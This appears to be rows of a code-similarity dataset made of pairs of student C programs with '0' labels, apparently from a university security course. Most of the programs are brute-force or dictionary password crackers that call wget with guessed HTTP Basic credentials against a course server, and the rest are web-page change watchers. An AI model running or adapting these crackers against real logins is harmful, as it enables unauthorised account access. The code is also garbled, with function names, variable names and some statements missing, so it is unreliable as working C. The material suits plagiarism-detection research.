if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9
int ()
{ int startTime, stopTime, final;
int i,j,k;
FILE* fp;
int pass,len;
int count = 0;
char [50];
char url1[100];
char url2[100];
startTime = time();
fp = fopen("/usr/share/lib/dict/words","r");
while (fp !='\0')
{
fgets( ,50,fp);
len = strlen();
[strlen()-1] ='\0';
if(len <= 4)
{
count++;
printf("Checking for the word :%s\n",);
strcpy(url1 ,"wget --http-user= --http-passwd=");
strcat(url1,);
strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
strcat(url1,url2);
pass = system(url1);
if (pass == 0)
{
stopTime = time();
final = stopTime-startTime;
printf("\n SUCCESS\n");
printf("The password for the user : %s\n ",);
printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
printf("Number of attempts : %d\n",count);
exit(1);
}
}
}
}
| 0 |
076.c | 059.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| #include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MINSIZE 26
#define MAXSIZE 52
#define MAX_SIZE 255
int CrackPasswd(char *passwd)
{
int flag;
char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];
strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
strcpy(string2," --http-user= --http-passwd='");
strcpy(,"");
strcat(, string1);
strcat(, string2);
strcat(, passwd);
strcat(, "'");
printf("Sending Request as %s\n",);
flag = system();
if (flag == 0)
{
printf("\nPassword is %s\n",passwd);
return 1;
}
strcpy(,"");
return 0;
}
int BruteForce(char *CharArray)
{
int i, j, k;
char passwd[MAX_SIZE];
for (i=0;i<MAX_SIZE;i++)
passwd[i] = '\0';
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
if(CrackPasswd(passwd) == 1)
return 1;
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
if(CrackPasswd(passwd) == 1)
return 1;
}
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
for(k=0;k<MAXSIZE;k++)
{
passwd[2] = CharArray[k];
if(CrackPasswd(passwd) == 1)
return 1;
}
}
}
return 0;
}
int (int argc, char *argv[])
{
char CharArray[MAXSIZE];
char ch='a';
int i,j;
int , end;
= time();
strcpy(CharArray,"");
for (i=0;i<MINSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
ch='A';
for (i=MINSIZE;i<MAXSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
if (argc != 1)
{
fprintf(stdout,"Usage : ./BruteForce \n");
return(EXIT_FAILURE);
}
BruteForce(CharArray);
getpid();
end = time();
printf("Time Required = %lld msec\n",(end-)/());
return (EXIT_SUCCESS);
}
| 0 |
076.c | 043.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
char word[15], *chk;
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir one");
system("mv www.cs.rmit.edu./images/*.* one/");
system("mv www.cs.rmit.edu./students/*.* one/");
sleep(15);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* two/");
system("mv www.cs.rmit.edu./students/*.* two/");
system("diff one two > difference.txt");
system("mailx -s \"Message1\" < difference.txt");
return 0;
}
| 0 |
076.c | 014.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#define MINCHAR 65
#define MAXCHAR 122
int bruteforce_first(int passlen, int *attempts);
int bruteforce_two(int passlen, int *attempts);
int bruteforce_three(int passlen, int *attempts);
int main()
{
int i, wdlen = 1;
int runtime;
int counter ;
int initTime = 0, exitTime = 0, runTime = 0;
initTime = time();
if (bruteforce_first(wdlen, &counter) == 2) {
wdlen++;
if (bruteforce_two(wdlen, &counter) == 3) {
wdlen++;
if (bruteforce_three(wdlen, &counter) == 0)
printf("Success In Breaking The Password");
else
printf("Failure !!!!!!");
}
} else {
printf("Success In Breaking The Password");
}
exitTime = time();
runTime = (exitTime - initTime);
printf("\nNumber of attempts is... %d", counter);
printf("\nTime taken is %lld milli seconds\n", (runTime)/());
return 0;
}
int bruteforce_first(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
puts(str);
(*attempts)++;
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully:");
printf("Password is %s", str);
return 0;
}
}
return 2;
}
int bruteforce_two(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 0;
if (str[i] == 'Z') {
str[i] = 'a';
} else
str[i]++;
}
return 3;
}
int bruteforce_three(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 1;
while (i <= passlen - 1) {
if (str[passlen - i - 1] == 'z') {
str[passlen - i - 1] = MINCHAR;
str[passlen - 1 - 2]++;
break;
} else {
if (str[passlen - i - 1] == 'Z') {
str[passlen - i - 1] = 'a';
break;
} else {
str[passlen - i - 1]++;
break;
}
}
i++;
}
}
return 0;
}
| 0 |
076.c | 050.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
FILE *fp;
char *chk,[4];
int i=1;
while (i == 1)
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir first");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* first/");
system("mv www.cs.rmit.edu./students/*.* first/");
sleep(86400);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("diff first second > imagesdifference.txt");
fp = fopen("imagesdifference.txt","r");
chk = fgets(, 4, fp);
if (strlen() != 0)
system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt");
}
return 0;
}
| 0 |
076.c | 016.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| #include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>
void emptyFile(char* name)
{
FILE* myFile;
myFile = fopen(name,"w");
fclose(myFile);
}
int (void)
{
FILE* myFile;
char* myString;
myString = malloc(sizeof(char ) * 100);
emptyFile(".old.html");
emptyFile(".new.html");
system("wget -O .old.html -q http://www.cs.rmit.edu./students/");
while(1)
{
emptyFile(".new.html");
system("wget -O .new.html -q http://www.cs.rmit.edu./students/");
system("diff .old.html .new.html > watch.txt");
myFile = fopen("watch.txt","r");
if(myFile != (FILE*) NULL)
{
fgets(myString,100,myFile);
if(strlen(myString) > 0)
{
system("mail @cs.rmit.edu. < watch.txt");
system("cp .new.html .old.html");
}
}
sleep(60*60*24);
}
return 1;
}
| 0 |
076.c | 007.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| #include <sys/time.h>
#include <strings.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir home");
system("mv www.cs.rmit.edu./images/*.* home/");
system("mv www.cs.rmit.edu./students/*.* home/");
system("cd www.cs.rmit.edu./images");
sleep(1);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("cd www.cs.rmit.edu./images");
system("diff home second > difference.txt");
system("mailx -s \"Difference in \" < difference.txt ");
return 0;
}
| 0 |